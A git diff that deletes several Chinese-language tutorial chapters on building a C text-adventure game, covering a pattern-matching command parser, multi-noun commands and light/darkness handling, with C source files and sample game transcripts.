- -bool parseAndExecute(char *input) -{ - char *verb = strtok(input, " \n"); - char *noun = strtok(NULL, "\n"); - if (verb != NULL) - { - if (strcmp(verb, "quit") == 0) - { - return false; - } - else if (strcmp(verb, "look") == 0) - { - executeLook(noun); - } - else if (strcmp(verb, "go") == 0) - { - executeGo(noun); - } - else if (strcmp(verb, "get") == 0) - { - executeGet(noun); - } - else if (strcmp(verb, "drop") == 0) - { - executeDrop(noun); - } - else if (strcmp(verb, "give") == 0) - { - executeGive(noun); - } - else if (strcmp(verb, "ask") == 0) - { - executeAsk(noun); - } - else if (strcmp(verb, "inventory") == 0) - { - executeInventory(); - } - else if (strcmp(verb, "open") == 0) - { - executeOpen(noun); - } - else if (strcmp(verb, "close") == 0) - { - executeClose(noun); - } - else if (strcmp(verb, "lock") == 0) - { - executeLock(noun); - } - else if (strcmp(verb, "unlock") == 0) - { - executeUnlock(noun); - } - else - { - printf("I don't know how to '%s'.\n", verb); - } - } - return true; -} -``` - -注意: - -- 你可能已经注意到,object.txt 在本章中的大小几乎增加了一倍。我们已经可以向你保证,这只是一个开始。object.txt 是我们游戏数据的主要来源;一旦我们认真开始添加地点、物品和演员,行数很容易就会增加到数千行。 -- 除了门和锁之外,函数 swapLocation 还可以用于许多其他事情。在第 15 章,它将再次被使用,这次是用来打开和关闭灯。 -- 正如你在样本输出中所看到的,玩家可以从盒子里拿到金子,但他无法再把金子放回去!我们的解析器无法处理像把硬币放进盒子这样的 "复杂 "命令。因此,在下一章中,我们将编写一个全新的解析器:目前的双线实现急需更换! - -输出样例 - -Welcome to Little Cave Adventure. -You are in an open field. -You see: -a silver coin -a burly guard -a cave entrance to the east -dense forest all around - ---> get coin -You pick up a silver coin. - ---> give coin -You give a silver coin to a burly guard. - ---> go cave -You walk into the cave. - -You are in a little cave. -You see: -an exit to the west -solid rock all around -a closed door to the south -a tiny key - ---> get key -You pick up a tiny key. - ---> go south -The door is closed. - ---> open door -You open a closed door to the south. - ---> go south -You walk through the door into a backroom. - -You are in a backroom. -You see: -solid rock all around -an open door to the north -a wooden box - ---> unlock box -You unlock a wooden box. - ---> open box -You open a wooden box. - ---> look box -The box is open. -You see: -a gold coin - ---> get gold -You get a gold coin from a wooden box. - ---> quit - -Bye! diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.13.编写解析器.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.13.编写解析器.md deleted file mode 100644 index 1e591b9..0000000 --- a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.13.编写解析器.md +++ /dev/null @@ -1,525 +0,0 @@ -# 13.编写解析器 - -每个文本冒险都有一个解析器,但是解析器也有高下之分。一个简单的 "动词 - 名词 "解析器(就像我们从第二章开始一直使用的那个)对于一个精心设计的冒险游戏来说可能已经足够了。 - -然而,Infocom 已经证明,一个更高级的解析器确实有助于制作一个令人愉快的游戏。它不一定要通过图灵测试。 - -记住,它只是一个游戏。但是解析器应该使玩家能够以一种或多或少的自然方式来表达他的意图。 - -我们目前的分析器主要由两行代码组成,隐藏在 parsexec.c 中。 - -```c -char *verb = strtok(input, " \n"); -char *noun = strtok(NULL, "\n"); -``` - -好吧,我们再加上将动词映射到命令的 strcmp 调用序列,以及将名词映射到对象的 noun.c 中的函数,但仅此而已。在过去的 12 章中,这个系统为我们提供了良好的服务,但它也有缺陷。 - -- 它只接受 "动词名词 "形式的简单命令;它不理解既有直接宾语又有间接宾语的句子,如把硬币放进盒子。 -- 它确实接受多字对象(如银币),但字与字之间的空格必须准确无误。我们的游戏拒绝银币和硬币之间的双空格。 -- 它是区分大小写的;"向北走 "的命令因为大写的 "G "而不被识别。 - -::: warning 🤔 思考题:你能想到有什么办法解决这些问题吗? -::: - -编写一个好的分析器并不是一件小事,但在这里我将给你一个相对简单的方法,我们将定义一个由模式列表组成的语法,类似于(但比)正则表达式要简单得多。 - -| look around | 仅仅是匹配而已。双空格、前导空格、尾部空格和大小写差异都被忽略了 | -| ----------- | ------------------------------------------------------------------ | -| go A | 匹配单词 go 和对象的标签(见第 5 章和第 9 章关于 "标签 "的解释)。 | -| put A in B | 匹配单词 put 后面的标签,单词 in 和另一个标签。 | - -为了解析用户的输入,我们将从上到下遍历模式列表,依次尝试将用户的输入与每个模式匹配。我们将在发现第一个匹配时停止。为了简单起见,我们将不使用回溯,尽管这可以在以后添加。 - -::: warning 🤔 思考题:如果我们使用回溯,那该怎么编写代码? -::: - -大写字母是我们语法中的非终端符号,它们可以匹配任何标签(任何对象)。当解析器在两个不同的标签(例如 "银币 "和 "银")之间进行选择时,较长的标签将被优先考虑。 - -然后,匹配的标签可以作为参数名词传递给其中一个执行函数。对于有一个以上名词的命令(在下一章介绍),参数传递变得有点不切实际。为了简单起见,我们将使用一个全局变量而不是参数(尽管全局变量的名声不好)。该变量将是一个字符串指针的数组。 - -```c -const char *params[26]; -``` - -该数组有 26 个元素;字母表中的每个(大写)字母都有一个,这足以满足一个模式中多达 26 个不同的非终端。对于一个(匹配的)模式中的每个非终端,将通过在非终端的数组元素中填充一个指向该特定标签的指针来 "捕获 "一个匹配的标签。params[0](第一个数组元素)捕获非终端 "A",params[1]捕获 "B",以此类推。一个简单的宏定义可以用来找到属于某个非终端的数组元素。 - -```c -#define paramByLetter(letter) (params + (letter) - 'A') -``` - -注意:你可能会发现数组长度为 26 有点过头了,但它确实让我们省去了写一些边界检查代码的麻烦,以防止在出现畸形模式时出现缓冲区溢出。 - -现在,我们必须想出一个办法来处理缺失的或不被承认的名词。 - -假设用户打错了字,输入了 "go kave"。问题是,这个命令到底应不应该匹配 "go A "这个命令?如果我们不想出解决办法,那么这个命令将无法匹配任何其他命令,并最终进入一个通用的错误处理程序,它可能会回答 "我不知道如何去 kave "这样的话。这就失去了改进这些 "消极反应 "的所有机会;回答 "我不知道你要去哪里 "已经感觉更自然了。最好的办法是将所有关于命令去向的答复保持在函数 executeGo 内。 - -::: warning 🤔 停下来想一想,可以怎么解决这个问题? -::: - -有几种方法可以实现这一点,但最简单的方法是允许非终止符匹配任何东西。所以不仅仅是一个有效的标签,也包括完全的胡言乱语、空白或什么都没有这种语句。这种 "无效 "的输入将被捕获为一个空字符串("")。 - -在模式中间有这样一个 "松散 "的非终端,确实会使模式匹配过程复杂化;在匹配输入 "把 foo 放在盒子里 "和模式 "把 A 放在 B 里 "时,它需要回溯以正确对齐 "in "这个词。 - -为了简单起见,我们将只对出现在模式最末端的非终止符进行松散匹配。为了能够正确匹配上面的例子,我们需要两个独立的模式: - -- 模式 "put A in B "将匹配有效的命令 put coin in box,以及无效的命令 put coin in booox 和 put coin in。注意,非终端 A 只匹配有效的标签(在这个例子中是硬币)。 -- 模式 "put A "匹配所有剩余的无效命令:put coin, put koin, put koin in box, put koin in booox 和一个裸 put。还有最初的例子(put foo in in box)。 - -模式的顺序在这里至关重要:如果 "放 A "在上面(意味着它将被首先尝试),那么它将消耗每个放的命令;一个有效的 "put coin in box "命令将被认为是无效的,因为没有 "硬币在盒子里 "的标签。 - -对于以多种形式出现的命令也是如此,比如说 look 这个命令: - -- Look around -- look(作为环顾四周的缩写) -- Look A - -前两个命令形式可以为任何顺序,但第三个必须在最后。 - -::: warning 🤔 思考题:你是否有办法解决这个问题? -::: - -是时候将其付诸行动了。我们将抛弃模块 parsexec.c 的现有内容,用一个新的函数 parseAndExecute 的实现来取代它,该函数使用一个模式列表,应该能够匹配我们到目前为止实现的每一条命令。每个模式都与一个执行相应命令的函数相联系。 - -## parsexec.c - -```c -extern bool parseAndExecute(const char *input); -``` - -## parsexec.h - -```c -#include -#include -#include -#include "object.h" -#include "misc.h" -#include "match.h" -#include "location.h" -#include "inventory.h" -#include "openclose.h" - -typedef struct -{ - const char *pattern; - bool (*function)(void); -} COMMAND; - -static bool executeQuit(void) -{ - return false; -} - -static bool executeNoMatch(void) -{ - const char *src = *params; - int len; - for (len = 0; src[len] != '\0' && !isspace(src[len]); len++); - //计算玩家输入的第一个字符串的长度 - if (len > 0) printf("I don't know how to '%.*s'.\n", len, src); - return true; -} - -bool parseAndExecute(const char *input) -{ - static const COMMAND commands[] = - //模式数组 - { - { "quit" , executeQuit }, - { "look" , executeLookAround }, - { "look around" , executeLookAround }, - { "look at A" , executeLook }, - { "look A" , executeLook }, - { "examine A" , executeLook }, - { "go to A" , executeGo }, - { "go A" , executeGo }, - { "get A" , executeGet }, - { "drop A" , executeDrop }, - { "ask A" , executeAsk }, - { "give A" , executeGive }, - { "inventory" , executeInventory }, - { "open A" , executeOpen }, - { "close A" , executeClose }, - { "lock A" , executeLock }, - { "unlock A" , executeUnlock }, - { "A" , executeNoMatch } - }; - const COMMAND *cmd; - for (cmd = commands; !matchCommand(input, cmd->pattern); cmd++); - return (*cmd->function)(); -} -``` - -最难的部分是函数 matchCommand 的实现。但正如你在下面看到的,这也可以在不到 100 行的代码中完成。 - -## match.h - -```c -#define MAX_PARAMS 26 - -extern const char *params[]; - -#define paramByLetter(letter) (params + (letter) - 'A') - -extern bool matchCommand(const char *src, const char *pattern); -``` - -## match.c - -```c -#include -#include -#include -#include "object.h" -#include "misc.h" -#include "match.h" - -const char *params[MAX_PARAMS]; - -static const char *skipSpaces(const char *src) -{ - while (isspace(*src)) src++; - return src; -} - -static const char *matchSpaces(const char *src) -{ - return *src == '\0' || isspace(*src) ? skipSpaces(src) : NULL; -} - -static const char *matchTerminal(const char *src, char terminal) -{ - return terminal == ' ' ? matchSpaces(src) : - tolower(*src) == tolower(terminal) ? src + 1 : NULL; -} - -static const char *matchTag(const char *src, const char *tag, bool atEnd) -{ - while (src != NULL && *tag != '\0') - { - src = matchTerminal(src, *tag++); - } - return atEnd && src != NULL && *skipSpaces(src) != '\0' ? NULL : src; -} - -static const char *matchParam(const char *src, const char **par, bool loose) -{ - const char *restOfSrc = loose ? src + strlen(src) : NULL; - OBJECT *obj; - for (obj = objs; obj < endOfObjs; obj++) - { - const char **tag; - for (tag = obj->tags; *tag != NULL; tag++) - { - const char *behindMatch = matchTag(src, *tag, loose); - if (behindMatch != NULL && strlen(*tag) > strlen(*par)) - { - *par = *tag; - restOfSrc = behindMatch; - } - } - } - if (**par == '\0') - { - *par = src; - } - return restOfSrc; -} - -bool matchCommand(const char *src, const char *pattern) -{ - const char **par; - for (par = params; par < params + MAX_PARAMS; par++) - { - *par = ""; - } - for (src = skipSpaces(src); src != NULL && *pattern != '\0'; pattern++) - { - src = isupper(*pattern) - ? matchParam(src, paramByLetter(*pattern), pattern[1] == '\0') - : matchTerminal(src, *pattern); - } - return src != NULL && *skipSpaces(src) == '\0'; -} -``` - -我们调整各种命令的实现,以利用新的数组参数。 - -## **inventory.h** - -```c -extern bool executeGet(void); -extern bool executeDrop(void); -extern bool executeAsk(void); -extern bool executeGive(void); -extern bool executeInventory(void); -``` - -## **inventory.c** - -```c -#include -#include -#include "object.h" -#include "misc.h" -#include "match.h" -#include "noun.h" -#include "move.h" - -bool executeGet(void) -{ - OBJECT *obj = getVisible("what you want to get", params[0]); - switch (getDistance(player, obj)) - { - case distSelf: - printf("You should not be doing that to yourself.\n"); - break; - case distHeld: - printf("You already have %s.\n", obj->description); - break; - case distOverthere: - printf("Too far away, move closer please.\n"); - break; - case distUnknownObject: - // already handled by getVisible - break; - default: - if (obj->location != NULL && obj->location->health > 0) - { - printf("You should ask %s nicely.\n", obj->location->description); - } - else - { - moveObject(obj, player); - } - } - return true; -} - -bool executeDrop(void) -{ - moveObject(getPossession(player, "drop", params[0]), player->location); - return true; -} - -bool executeAsk(void) -{ - moveObject(getPossession(actorHere(), "ask", params[0]), player); - return true; -} - -bool executeGive(void) -{ - moveObject(getPossession(player, "give", params[0]), actorHere()); - return true; -} - -bool executeInventory(void) -{ - if (listObjectsAtLocation(player) == 0) - { - printf("You are empty-handed.\n"); - } - return true; -} -``` - -我们在上一章中添加的模块也是如此。 - -## opemclose.h - -```c -extern bool executeOpen(void); -extern bool executeClose(void); -extern bool executeLock(void); -extern bool executeUnlock(void); -``` - -## openclose.c - -```c -#include -#include -#include "object.h" -#include "match.h" -#include "reach.h" - -bool executeOpen(void) -{ - OBJECT *obj = reachableObject("what you want to open", params[0]); - if (obj != NULL) (*obj->open)(); - return true; -} - -bool executeClose(void) -{ - OBJECT *obj = reachableObject("what you want to close", params[0]); - if (obj != NULL) (*obj->close)(); - return true; -} - -bool executeLock(void) -{ - OBJECT *obj = reachableObject("what you want to lock", params[0]); - if (obj != NULL) (*obj->lock)(); - return true; -} - -bool executeUnlock(void) -{ - OBJECT *obj = reachableObject("what you want to unlock", params[0]); - if (obj != NULL) (*obj->unlock)(); - return true; -} -``` - -在 location.c 中,look around 命令被赋予了自己的功能,与检查特定对象的 look 命令分开(见第 7-12 行)。 - -## location.h - -```c -extern bool executeLookAround(void); -extern bool executeLook(void); -extern bool executeGo(void); -``` - -## location.c - -```c -#include -#include -#include "object.h" -#include "misc.h" -#include "match.h" -#include "noun.h" - -bool executeLookAround(void) -{ - printf("You are in %s.\n", player->location->description); - listObjectsAtLocation(player->location); - return true; -} - -bool executeLook(void) -{ - OBJECT *obj = getVisible("what you want to look at", params[0]); - switch (getDistance(player, obj)) - { - case distHereContained: - printf("Hard to see, try to get it first.\n"); - break; - case distOverthere: - printf("Too far away, move closer please.\n"); - break; - case distNotHere: - printf("You don't see any %s here.\n", params[0]); - break; - case distUnknownObject: - // already handled by getVisible - break; - default: - printf("%s\n", obj->details); - listObjectsAtLocation(obj); - } - return true; -} - -static void movePlayer(OBJECT *passage) -{ - printf("%s\n", passage->textGo); - if (passage->destination != NULL) - { - player->location = passage->destination; - printf("\n"); - executeLookAround(); - } -} - -bool executeGo(void) -{ - OBJECT *obj = getVisible("where you want to go", params[0]); - switch (getDistance(player, obj)) - { - case distOverthere: - movePlayer(getPassage(player->location, obj)); - break; - case distNotHere: - printf("You don't see any %s here.\n", params[0]); - break; - case distUnknownObject: - // already handled by getVisible - break; - default: - movePlayer(obj); - } - return true; -} -``` - -我们的游戏仍然只接受简单的动词 - 名词命令,但新的解析器确实有可能接受有多个名词的命令,如 "put coin in box",这将在下一章中演示。 - -新的解析器比原来的解析器有了很大的改进,但以今天的标准来看,它仍然远远不够完美。例如,没有结构性的方法可以用一个命令操纵多个对象("获得硬币、钥匙和灯")或连续执行两个或多个命令("获得钥匙然后向东走")。这对于一个 RPG 游戏来说限制实在太大了! - -在真正意义上,我们的分析器甚至不是一个分析器,它只是一个简单的模式匹配器。我们认为,对于一个简单的冒险游戏来说,它的工作已经足够好了。它的一些缺陷可以通过添加更多的模式而得到缓解。但最终,你会遇到它的局限性,你可能想转到更成熟的东西上。在这种情况下,我们推荐使用一个体面的分析器生成器(例如 Yacc)。请注意,这不是一件容易做到的事情。目前,这已经超出了本教程的范围。 -输出样例 - -Welcome to Little Cave Adventure. -You are in an open field. -You see: -a silver coin -a burly guard -a cave entrance to the east -dense forestall around - ---> get coin -You pick up a silver coin. - ---> give coin -You give a silver coin to a burly guard. - ---> go cave -You walk into the cave. - -You are in a little cave. -You see: -an exit to the west -solid rock all around -a closed door to the south -a tiny key - ---> get key -You pick up a tiny key. - ---> go south -The door is closed. - ---> open door -You open a closed door to the south. - ---> go south -You walk through the door into a backroom. - -You are in a backroom. -You see: -solid rock all around -an open door to the north -a wooden box - ---> unlock box -You unlock a wooden box. - ---> open box -You open a wooden box. - ---> examine box -The box is open. -You see: -a gold coin - ---> get gold -You get a gold coin from a wooden box. - ---> quit - -Bye! diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.14.丰富命令.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.14.丰富命令.md deleted file mode 100644 index 9ced0d2..0000000 --- a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.14.丰富命令.md +++ /dev/null @@ -1,366 +0,0 @@ -# 14.丰富命令 - -是时候证明新的解析器确实有能力解释更复杂的命令了。 - -到目前为止,我们的解析器只接受简单的动词 - 名词命令。让我们试着解析一些更复杂的命令,比如: - -- get coin from box -- put coin in box -- ask coin from guard -- give coin to guard - -在 parsexec.c 中添加模式似乎很简单。 - -- get A from B -- put A in B -- ask A from B -- give A to B - -::: warning 🤔 思考题:你能否自行实现这些命令 -::: - -但是正如前一章所解释的,类似的命令(比如 "从 B 中获取 A "和已经存在的 "获取 A")必须以正确的顺序排列。如果'get A'首先出现,那么它将消耗任何以'get'开头的命令,包括所有应该被新模式匹配的命令。简而言之,"从 B 获取 A "必须出现在 "获取 A "之前。 - -有些命令(例如 put)没有单名词的变体。然而,我们将添加一个带有单非词的模式('put A')。我们需要这个模式来正确捕捉一个拼写错误的名词。完整的模式 "把 A 放进 B "不会匹配 "把 Koin 放进盒子 "这样的命令。正如前一章所解释的,只有模式末尾的非终端才能够捕捉到拼写错误的名词或其他不被识别的名词。 - -这也适用于有两个以上的名词的命令。有 n 个名词,你需要 n 个模式来处理所有可能的不匹配。一个有三个参数的例子: - -1. “paint A on B with C” -2. “paint A on B” -3. “paint A” - -同样,模式的顺序是至关重要的:如果 "涂抹 A "在最上面(意味着它将被首先尝试),那么它将消耗所有的涂抹命令,包括那些本应由 1 和 2 捕获的命令。 - -目前,我们不需要有两个以上非终结点的模式。 - -## parsexec.h - -```c -extern bool parseAndExecute(const char *input); -``` - -## parsexec.c - -```c -#include -#include -#include -#include "object.h" -#include "misc.h" -#include "match.h" -#include "location.h" -#include "inventory.h" -#include "inventory2.h" -#include "openclose.h" - -typedef struct -{ - const char *pattern; - bool (*function)(void); -} COMMAND; - -static bool executeQuit(void) -{ - return false; -} - -static bool executeNoMatch(void) -{ - const char *src = *params; - int len; - for (len = 0; src[len] != '\0' && !isspace(src[len]); len++); - if (len > 0) printf("I don't know how to '%.*s'.\n", len, src); - return true; -} - -bool parseAndExecute(const char *input) -{ - static const COMMAND commands[] = - { - { "quit" , executeQuit }, - { "look" , executeLookAround }, - { "look around" , executeLookAround }, - { "look at A" , executeLook }, - { "look A" , executeLook }, - { "examine A" , executeLook }, - { "go to A" , executeGo }, - { "go A" , executeGo }, - { "get A from B" , executeGetFrom }, - { "get A" , executeGet }, - { "put A in B" , executePutIn }, - { "drop A in B" , executePutIn }, - { "drop A" , executeDrop }, - { "ask A from B" , executeAskFrom }, - { "ask A" , executeAsk }, - { "give A to B" , executeGiveTo }, - { "give A" , executeGive }, - { "inventory" , executeInventory }, - { "open A" , executeOpen }, - { "close A" , executeClose }, - { "lock A" , executeLock }, - { "unlock A" , executeUnlock }, - { "A" , executeNoMatch } - }; - const COMMAND *cmd; - for (cmd = commands; !matchCommand(input, cmd->pattern); cmd++); - return (*cmd->function)(); -} -``` - -在一个新的模块 inventory2.c 中,我们实现了新的多名词命令 get、drop/put、ask 和 give。现在我们终于可以把金币放回盒子里了 (可喜可贺,可喜可贺)。 - -## inventory2.h - -```c -extern bool executeGetFrom(void); -extern bool executePutIn(void); -extern bool executeAskFrom(void); -extern bool executeGiveTo(void); -``` - -## inventory2.c - -```c -#include -#include -#include "object.h" -#include "match.h" -#include "noun.h" -#include "move.h" -#include "reach.h" - -bool executeGetFrom(void) -{ - OBJECT *from = reachableObject("where to get that from", params[1]); - if (from != NULL && getVisible("what you want to get", params[0]) != NULL) - { - if (from->health > 0) - { - printf("You should ask %s nicely.\n", from->description); - } - else - { - moveObject(getPossession(from, "get", params[0]), player); - } - } - return true; -} - -bool executePutIn(void) -{ - OBJECT *obj = getPossession(player, "put", params[0]); - if (obj != NULL) - { - OBJECT *to = reachableObject("where to put that in", params[1]); - if (to != NULL) - { - if (to->health > 0) - { - printf("You should offer that nicely to %s.\n", to->description); - } - else - { - moveObject(obj, to); - } - } - } - return true; -} - -bool executeAskFrom(void) -{ - OBJECT *from = reachableObject("who to ask that", params[1]); - if (from != NULL) - { - if (from->health > 0) - { - if (getVisible("what you want to ask", params[0]) != NULL) - { - moveObject(getPossession(from, "ask", params[0]), player); - } - } - else - { - printf("There is no response from %s.\n", from->description); - } - } - return true; -} - -bool executeGiveTo(void) -{ - OBJECT *obj = getPossession(player, "give", params[0]); - if (obj != NULL) - { - OBJECT *to = reachableObject("who to give that to", params[1]); - if (to != NULL) - { - if (to->health > 0) - { - moveObject(obj, to); - } - else - { - printf("No eagerness is shown by %s.\n", to->description); - } - } - } - return true; -} -``` - -仔细观察上面的代码,你可能会注意到,像 "把硬币放进森林 "和 "把硬币放进盒子 "这样的命令(当盒子被关闭时)会得到以下奇怪的回答:"这太重了。" 这是因为大多数物体(包括封闭的盒子,以及像森林这样的场景)容纳其他物体的能力为零。这是正确的,但这个信息是很不恰当的。为了避免这种情况,我们将为那些容量为零的物体引入一个单独的信息:"这样做似乎不太适合。" - -::: warning 🤔 先想想有没有什么办法解决? -::: - -然而,当它作为对 "把钥匙放进盒子里 "的回应时,这个特殊的信息是完全误导的。所以我们将为这种特殊的对象组合做一个特殊的例外。 - -## move.c - -```c -#include -#include -#include "object.h" -#include "misc.h" - -static int weightOfContents(OBJECT *container) -{ - int sum = 0; - OBJECT *obj; - for (obj = objs; obj < endOfObjs; obj++) - { - if (isHolding(container, obj)) sum += obj->weight; - } - return sum; -} - -static void describeMove(OBJECT *obj, OBJECT *to) -{ - if (to == player->location) - { - printf("You drop %s.\n", obj->description); - } - else if (to != player) - { - printf(to->health > 0 ? "You give %s to %s.\n" : "You put %s in %s.\n", - obj->description, to->description); - } - else if (obj->location == player->location) - { - printf("You pick up %s.\n", obj->description); - } - else - { - printf("You get %s from %s.\n", - obj->description, obj->location->description); - } -} - -void moveObject(OBJECT *obj, OBJECT *to) -{ - if (obj == NULL) - { - // already handled by getVisible or getPossession - } - else if (to == NULL) - { - printf("There is nobody here to give that to.\n"); - } - else if (to->capacity == 0) - { - printf(obj == keyForBox && (to == closedBox || to == lockedBox) ? - "The key seems to fit the lock.\n" : - "It doesn't seem to fit in.\n"); - } - else if (obj->weight > to->capacity) - { - printf("That is way too heavy.\n"); - } - else if (obj->weight + weightOfContents(to) > to->capacity) - { - printf("That would become too heavy.\n"); - } - else - { - describeMove(obj, to); - obj->location = to; - } -} -``` - -毫无疑问,我们接受的命令越复杂,我们就需要花更多的精力来做出令人信服的答复。 -输出样例 - -Welcome to Little Cave Adventure. -You are in an open field. -You see: -a silver coin -a burly guard -a cave entrance to the east -dense forest all around - ---> get coin -You pick up a silver coin. - ---> give coin to guard -You give a silver coin to a burly guard. - ---> go cave -You walk into the cave. - -You are in a little cave. -You see: -an exit to the west -solid rock all around -a closed door to the south -a tiny key - ---> get key -You pick up a tiny key. - ---> go south -The door is closed. - ---> open door -You open a closed door to the south. - ---> go south -You walk through the door into a backroom. - -You are in a backroom. -You see: -solid rock all around -an open door to the north -a wooden box - ---> unlock box -You unlock a wooden box. - ---> open box -You open a wooden box. - ---> examine box -The box is open. -You see: -a gold coin - ---> get gold from box -You get a gold coin from a wooden box. - ---> inventory -You have: -a gold coin -a tiny key - ---> put gold in box -You put a gold coin in a wooden box. - ---> examine box -The box is open. -You see: -a gold coin - ---> quit - -Bye! diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.15.赋予明暗.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.15.赋予明暗.md deleted file mode 100644 index d061695..0000000 --- a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.15.赋予明暗.md +++ /dev/null @@ -1,1008 +0,0 @@ -# 15.赋予明暗 - -在许多冒险中,灯是一个重要的物品。没有它,你就无法穿越前方的黑暗洞穴。 - -在黑暗中的效果因游戏而异。通常情况下,它使命令 "look "没有效果。在一些游戏中(如 Zork),黑暗是致命的。在其他游戏中,只要你画出了黑暗区域的详细地图,在没有光源的情况下,你仍然可以取得进展。 - -我们的游戏将保持在这两者之间;在黑暗中不会让你被杀,但你也不能进入任何通道 (具有光亮的通道将是一个例外)。对我们来说,让玩家跑进一个黑暗的区域,而没有不让他机会回到他来的地方,似乎是不公平的。 - -好吧,所以首先,我们来设计在黑暗中玩家无法看到周围环境。 - -## location.c - -```c -#include -#include -#include "object.h" -#include "misc.h" -#include "match.h" -#include "noun.h" - -bool executeLookAround(void) -{ - if (isLit(player->location)) - { - printf("You are in %s.\n", player->location->description); - } - else - { - printf("It is very dark in here.\n"); - } - listObjectsAtLocation(player->location); - return true; -} - -bool executeLook(void) -{ - OBJECT *obj = getVisible("what you want to look at", params[0]); - switch (getDistance(player, obj)) - { - case distHereContained: - printf("Hard to see, try to get it first.\n"); - break; - case distOverthere: - printf("Too far away, move closer please.\n"); - break; - case distNotHere: - printf("You don't see any %s here.\n", params[0]); - break; - case distUnknownObject: - // already handled by getVisible - break; - default: - printf("%s\n", obj->details); - listObjectsAtLocation(obj); - } - return true; -} - -static void movePlayer(OBJECT *passage) -{ - printf("%s\n", passage->textGo); - if (passage->destination != NULL) - { - player->location = passage->destination; - printf("\n"); - executeLookAround(); - } -} - -bool executeGo(void) -{ - OBJECT *obj = getVisible("where you want to go", params[0]); - switch (getDistance(player, obj)) - { - case distOverthere: - movePlayer(getPassage(player->location, obj)); - break; - case distNotHere: - printf("You don't see any %s here.\n", params[0]); - break; - case distUnknownObject: - // already handled by getVisible - break; - default: - movePlayer(obj); - } - return true; -} -``` - -其次,在黑暗中玩家无法看到或使用附近的物体。 - -## noun.c - -```c -#include -#include -#include -#include "object.h" -#include "misc.h" - -static bool objectHasTag(OBJECT *obj, const char *noun) -{ - if (noun != NULL && *noun != '\0') - { - const char **tag; - for (tag = obj->tags; *tag != NULL; tag++) - { - if (strcmp(*tag, noun) == 0) return true; - } - } - return false; -} - -static OBJECT ambiguousNoun; - -static OBJECT *getObject(const char *noun, OBJECT *from, DISTANCE maxDistance) -{ - OBJECT *obj, *res = NULL; - for (obj = objs; obj < endOfObjs; obj++) - { - if (objectHasTag(obj, noun) && getDistance(from, obj) <= maxDistance) - { - res = res == NULL ? obj : &ambiguousNoun; - } - } - return res; -} - -OBJECT *getVisible(const char *intention, const char *noun) -{ - OBJECT *obj = getObject(noun, player, distOverthere); - if (obj == NULL) - { - if (getObject(noun, player, distNotHere) == NULL) - { - printf("I don't understand %s.\n", intention); - } - else if (isLit(player->location)) - { - printf("You don't see any %s here.\n", noun); - } - else - { - printf("It's too dark.\n"); - } - } - else if (obj == &ambiguousNoun) - { - printf("Please be specific about which %s you mean.\n", noun); - obj = NULL; - } - return obj; -} - -OBJECT *getPossession(OBJECT *from, const char *verb, const char *noun) -{ - OBJECT *obj = NULL; - if (from == NULL) - { - printf("I don't understand who you want to %s.\n", verb); - } - else if ((obj = getObject(noun, from, distHeldContained)) == NULL) - { - if (getObject(noun, player, distNotHere) == NULL) - { - printf("I don't understand what you want to %s.\n", verb); - } - else if (from == player) - { - printf("You are not holding any %s.\n", noun); - } - else - { - printf("There appears to be no %s you can get from %s.\n", - noun, from->description); - } - } - else if (obj == &ambiguousNoun) - { - printf("Please be specific about which %s you want to %s.\n", - noun, verb); - obj = NULL; - } - else if (obj == from) - { - printf("You should not be doing that to %s.\n", obj->description); - obj = NULL; - } - return obj; -} -``` - -在这两种情况下,我们都使用了一个函数 isLit。它在 misc.c 中被定义(并且使用量增多了)。 - -## misc.h - -```c -typedef enum { - distSelf, - distHeld, - distHeldContained, - distLocation, - distHere, - distHereContained, - distOverthere, - distNotHere, - distUnknownObject -} DISTANCE; - -extern bool isHolding(OBJECT *container, OBJECT *obj); -extern bool isLit(OBJECT *location); -extern OBJECT *getPassage(OBJECT *from, OBJECT *to); -extern DISTANCE getDistance(OBJECT *from, OBJECT *to); -extern OBJECT *actorHere(void); -extern int listObjectsAtLocation(OBJECT *location); -``` - -## misc.c - -```c -#include -#include -#include "object.h" -#include "misc.h" - -bool isHolding(OBJECT *container, OBJECT *obj) -{ - return validObject(obj) && obj->location == container; -} - -bool isLit(OBJECT *target) -//检测光亮 -{ - OBJECT *obj; - if (validObject(target)) - { - if (target->light > 0) - { - return true; - } - for (obj = objs; obj < endOfObjs; obj++) - { - if (validObject(obj) && obj->light > 0 && - (isHolding(target, obj) || isHolding(target, obj->location))) - { - return true; - } - } - } - return false; -} - -static bool isNoticeable(OBJECT *obj) -{ - return obj->location == player || - isLit(obj) || isLit(obj->prospect) || isLit(player->location); -} - -OBJECT *getPassage(OBJECT *from, OBJECT *to) -{ - if (from != NULL && to != NULL) - { - OBJECT *obj; - for (obj = objs; obj < endOfObjs; obj++) - { - if (isHolding(from, obj) && obj->prospect == to) - { - return obj; - } - } - } - return NULL; -} - -DISTANCE getDistance(OBJECT *from, OBJECT *to) -{ - return to == NULL ? distUnknownObject : - !validObject(to) ? distNotHere : - to == from ? distSelf : - isHolding(from, to) ? distHeld : - !isNoticeable(to) ? distNotHere : - isHolding(to, from) ? distLocation : - isHolding(from->location, to) ? distHere : - isHolding(from, to->location) ? distHeldContained : - isHolding(from->location, to->location) ? distHereContained : - getPassage(from->location, to) != NULL ? distOverthere : - distNotHere; -} - -OBJECT *actorHere(void) -{ - OBJECT *obj; - for (obj = objs; obj < endOfObjs; obj++) - { - if (isHolding(player->location, obj) && obj != player && - isNoticeable(obj) && obj->health > 0) - { - return obj; - } - } - return NULL; -} - -int listObjectsAtLocation(OBJECT *location) -{ - int count = 0; - OBJECT *obj; - for (obj = objs; obj < endOfObjs; obj++) - { - if (obj != player && isHolding(location, obj) && isNoticeable(obj)) - { - if (count++ == 0) - { - printf("%s:\n", location->contents); - } - printf("%s\n", obj->description); - } - } - return count; -} -``` - -注意: - -- isLit 将被用来检查一个给定的位置是亮还是暗,但是,仅仅检查位置的属性光线是不够的,因为位置可能被一盏灯照亮。 -- isNoticeable 函数相比 isLit 更进一步。它对每个物体都有效,而不仅仅是地点和灯。它还考虑到玩家库存中的物体总是可以被使用,即使是在黑暗中。 -- 第 60 